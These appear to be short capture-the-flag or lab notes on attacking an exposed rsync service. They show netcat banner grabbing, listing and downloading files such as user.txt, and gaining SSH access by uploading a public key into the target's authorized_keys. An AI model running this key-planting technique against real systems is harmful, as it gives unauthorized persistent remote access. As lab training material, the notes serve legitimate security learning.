Rsync

=======================connecting to Rsync : 
>>> nc -vn $IP 873
(UNKNOWN) 		[10.10.63.208] 		873 		(rsync) 		open
@RSYNCD: 31.0        					<--- You receive this banner with the version from the server
@RSYNCD: 31.0        					<--- Then you send the same info
#list                							<--- Then you ask the sever to list
files           								<--- The server starts enumerating
@RSYNCD: EXIT         					<--- Sever closes the connection


=====================After Gettin First File name : 
>>> rsync rsync://rsync-connect@$IP/files/
Password: <Enter the rsync pass>
<Some Directory Listings>

>>> rsync rsync://rsync-connect@$IP/files/sys-internal/user.txt .
<this will cp the user.txt file to your $pwd>

======================Gianing the SSH Access : 
>>> ssh-keygen 
>>> rsync -av id_rsa.pub rsync://rsync-connect@$IP/files/sys-internal/.ssh/authorized_keys
>>> ssh -i id_rsa sys-internal@$IP

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